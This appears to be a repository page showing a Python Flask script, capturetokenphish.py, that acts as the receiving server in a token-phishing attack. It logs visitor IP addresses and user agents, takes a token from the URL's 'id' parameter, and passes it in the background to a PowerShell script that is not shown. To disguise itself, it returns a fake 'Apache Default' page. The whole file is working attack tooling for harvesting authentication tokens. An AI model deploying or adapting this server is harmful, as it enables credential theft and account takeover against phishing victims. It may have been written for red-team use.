Files
Steve Borosh b715be99a0 Update capturetokenphish.py
Added nohup to put PowerShell in the background and handle multiple tokens.
2023-06-23 16:15:57 -04:00

27 lines
913 B
Python

from flask import Flask, request
import argparse
from subprocess import call
import logging
app = Flask(__name__)
logging.basicConfig(filename="visit_log.log",level=logging.INFO)
@app.route("/", methods=['GET'])
def hello():
ip_addr = request.remote_addr
user_agent = request.user_agent
app.logger.info('User From: ' + ip_addr + " with UserAgent: " + str(user_agent))
token = request.args.get("id")
if token:
print(call(["nohup", "/opt/microsoft/powershell/7/pwsh", "./capturetokenphish.ps1", token]))
return "Apache Default"
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--ip', type=str, required=False,default="0.0.0.0")
parser.add_argument('-p', '--port', type=str, required=False,default=443)
args = parser.parse_args()
app.run(host=args.ip,port=args.port,ssl_context=('certs/cert.pem', 'certs/privkey.pem'))